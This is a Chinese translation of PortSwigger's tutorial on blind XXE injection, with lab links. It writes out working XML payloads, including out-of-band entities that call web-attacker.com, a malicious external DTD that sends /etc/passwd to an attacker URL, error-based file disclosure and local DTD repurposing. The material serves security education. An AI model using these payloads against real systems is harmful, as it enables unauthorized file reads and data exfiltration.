盲XXE漏洞
翻译
原文:https://portswigger.net/web-security/xxe/blind
- name: 翻译
desc: 原文:https://portswigger.net/web-security/xxe/blind
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# 发现和利用盲XXE漏洞
在本节中,我们将解释什么是盲 XXE 注入,并描述发现和利用盲 XXE 漏洞的各种技术。
# 1什么是盲XXE?
当应用程序容易受到 XXE 注入的攻击,但不会在其响应中 返回任何已定义的外部实体参数值时,就会出现盲 XXE 漏洞。这意味着无法直接检索服务器端文件,因此盲 XXE 通常比常规 XXE 漏洞更难利用。
你可以通过两种常见的方法,查找和利用盲 XXE 漏洞:
- 触发带外网络交互,有时会在数据交互的过程中泄露敏感数据。
- 触发 XML 解析错误,使错误消息包含敏感数据。
# 2使用带外(OAST (opens new window))技术检测盲XXE
你通常可以使用与 XXE-SSRF攻击 (opens new window)相同的技术来检测盲 XXE,使其触发与你所控制系统的带外网络交互。例如,你可以按如下方式定义外部实体:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>
然后,你可以在 XML 内的数据值中使用已定义的实体。
此 XXE 攻击会导致服务器向指定的 URL 发出后端 HTTP 请求。攻击者可以监视生成的 DNS 查找和 HTTP 请求,从而检测 XXE 攻击是否成功。
- name: 实验室-从业者
desc: 盲XXE带外交互 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
有时,由于应用程序的某些输入验证措施,或正在使用的 XML 解析器得到了某些强化,使用常规实体的 XXE 攻击会被阻止。在这种情况下,你可以改用 XML 参数实体。XML参数实体 是一种特殊的 XML 实体,只能在 DTD 中的其他位置引用。就目前而言,你只需要知道两件事。首先,XML参数实体的声明 在定义实体名称之前 必须包含百分比字符:
<!ENTITY % myparameterentity "my parameter entity value" >
其次,一般的实体通过&
引用,但参数实体则通过百分比字符%
来引用:
%myparameterentity;
这意味着你可以使用 XML参数实体 并通过带外检测技术来测试盲 XXE,如下所示:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
这个 XXE 负载声明了一个名为xxe
的 XML 参数实体,然后在 DTD 中使用该实体。这将导致对攻击者的域进行 DNS 查找和 HTTP 请求,从而验证攻击是否成功。
- name: 实验室-从业者
desc: 通过XML参数实体 实现盲XXE带外交互 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 3盲XXE-带外数据泄露
通过带外技术检测盲 XXE 漏洞非常好,但它实际上并没有演示如何利用该漏洞。攻击者真正想要实现的是泄露敏感数据。这可以通过盲 XXE 漏洞来实现,但它涉及 攻击者在他们控制的系统上托管恶意 DTD,然后从内部 XXE 有效负载中调用外部 DTD。
下面是一个使用恶意 DTD 泄露/etc/passwd
文件内容的示例:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
2
3
4
此 DTD 执行以下步骤:
- 定义一个名为
file
的 XML 参数实体,其中包含/etc/passwd
文件的内容。 - 定义一个名为
eval
的 XML 参数实体,其中包含另一个名为exfiltrate
的 XML 参数实体的动态声明。它将会在 URL 的查询字符串中包含file
实体的值,然后向攻击者的 Web 服务器发出 HTTP 请求,返回的响应内容将成为exfiltrate
实体的值。 - 使用
eval
实体,这将执行exfiltrate
实体的动态声明。 - 使用
exfiltrate
实体,通过请求指定的 URL 来计算其值。
然后,攻击者必须将以上的恶意 DTD 托管在他们控制的系统上,通常是将其加载到自己的 Web 服务器上。例如,攻击者可能会在以下 URL 中提供恶意 DTD :
http:/malicious.dtd
最后,攻击者必须向易受攻击的应用程序提交以下 XXE 有效负载:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>
2
这个 XXE 负载声明了一个名为xxe
的 XML 参数实体,然后在 DTD 中使用该实体。这将导致 XML 解析器从攻击者的服务器获取外部 DTD 并将其内联解释。然后执行恶意 DTD 中定义的步骤,并将/etc/passwd
文件传输到攻击者的服务器。
笔记
此技术可能不适用于某些文件内容,包括/etc/passwd
文件中包含的换行符。这是因为某些 XML 解析器使用 API 来获取外部实体中定义的 URL ,该 API 验证哪些字符允许出现在 URL 中。在这种情况下,可以使用 FTP 协议而不是 HTTP 。有时,无法泄露包含换行符的数据,因此可以改为针对/etc/hostname
等文件。
- name: 实验室-从业者
desc: 通过恶意外部DTD 实现盲XXE数据外泄 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 4盲XXE-通过错误消息检索数据
利用盲 XXE 的另一种方法是触发 XML 解析错误,其中的错误消息包含你要检索的敏感数据。如果应用程序在其响应中返回生成的错误消息,这将是有效的利用方法。
你可以使用恶意的外部 DTD 触发包含/etc/passwd
文件内容的 XML 解析错误消息,如下所示:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
2
3
4
此 DTD 执行以下步骤:
- 定义一个名为
file
的 XML 参数实体,其中包含/etc/passwd
文件的内容。 - 定义一个名为
eval
的 XML 参数实体,其中包含另一个名为error
的 XML 参数实体的动态声明。它将加载一个不存在的文件路径,文件名称中包含了file
实体的值,加载的结果将成为error
实体的值。 - 使用
eval
实体,这将执行error
实体的动态声明。 - 使用
error
实体,尝试加载不存在的文件来计算其值,从而生成包含 “该文件名称不存在” 的错误消息,该文件是/etc/passwd
文件的内容。
调用恶意外部 DTD 将导致以下错误消息:
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
2
3
4
- name: 实验室-从业者
desc: 通过错误消息 实现盲XXE数据检索 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 5盲XXE-本地DTD复用
上述技术适用于外部 DTD,但通常不适用于 “完全限制在DOCTYPE
元素中的” 内部 DTD。这是因为,该技术会在另一个参数实体的定义中使用 XML 参数实体。根据 XML 规范,这在外部 DTD 中是允许的,但在内部 DTD 中是不允许的。(一些解析器可能会允许它,但大多数解析器都不支持)
那么,当带外交互被阻止时,对于盲 XXE 漏洞会怎么样呢?不能通过带外连接来泄露数据,也不能从远程服务器加载外部 DTD。
在这种情况下,由于 XML 语言规范中的漏洞,仍然可能触发包含敏感数据的错误消息。如果文档的 DTD 混合使用内部和外部 DTD 声明,则内部 DTD 可以重新定义为外部 DTD 中声明的实体。发生这种情况时,将放宽 “在另一个参数实体的定义中使用 XML 参数实体” 的限制。
这意味着,攻击者可以在内部 DTD 中采用基于错误的XXE (opens new window)技术,前提是他们使用的 XML 参数实体正在被重新定义为外部 DTD 中声明的实体。当然,如果带外连接被阻止,则无法从远程位置加载外部 DTD 。相反,它必须是应用程序服务器本地的外部 DTD 文件。从本质上讲,该攻击涉及 调用本地文件系统上的 DTD 文件,并利用它来重新定义现有实体,从而触发包含敏感数据的解析错误。这项技术由 Arseniy Sharoglazov 开创,并在我们的2018年十大Web黑客技术 (opens new window)中排名第 7 。
例如,假设在服务器文件系统的/usr/local/app/schema.dtd
位置有一个 DTD 文件,并且这个 DTD 文件定义了一个名为custom_entity
的实体。攻击者可以通过提交以下混合 DTD 来触发包含/etc/passwd
文件内容的 XML 解析错误消息:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
2
3
4
5
6
7
8
9
10
此 DTD 执行以下步骤:
- 定义一个名为
local_dtd
的 XML 参数实体,其中包含服务器文件系统上的外部 DTD 文件内容。 - 重新定义名为
custom_entity
的 XML 参数实体,该实体先前已在外部 DTD 文件中定义。但在此处,该实体被重新定义为基于错误的XXE漏洞利用 (opens new window),用于触发包含/etc/passwd
文件内容的错误消息,该漏洞已经描述过。 - 使用
local_dtd
实体,以此解释外部 DTD 并覆盖custom_entity
实体的定义值。这将产生所需的错误消息。
# 5.1查找可复用的现有DTD文件
由于这种 XXE 攻击需要重新利用服务器文件系统上的现有 DTD,因此关键要求是 找到合适的文件。这实际上非常简单。因为应用程序会返回 XML 解析器抛出的任何错误消息,所以你可以尝试从内部 DTD 中加载本地 DTD 文件,从而轻松地枚举这些文件。
例如,使用 GNOME 桌面环境的 Linux 系统通常有一个 DTD 文件,路径为/usr/share/yelp/dtd/docbookx.dtd
。你可以通过提交以下 XXE 负载来测试此文件是否存在,如果文件丢失,将会导致错误:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
2
3
4
测试常见的 DTD 文件列表,以查找存在的文件,然后,你需要获取该文件的副本并查看它,在文件中查找可以重新定义的实体。由于许多包含 DTD 文件的常见系统都是开源的,因此你可以通过互联网搜索,来快速获取文件的副本。
- name: 实验室-专家
desc: 通过本地DTD复用 实现XXE数据检索 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6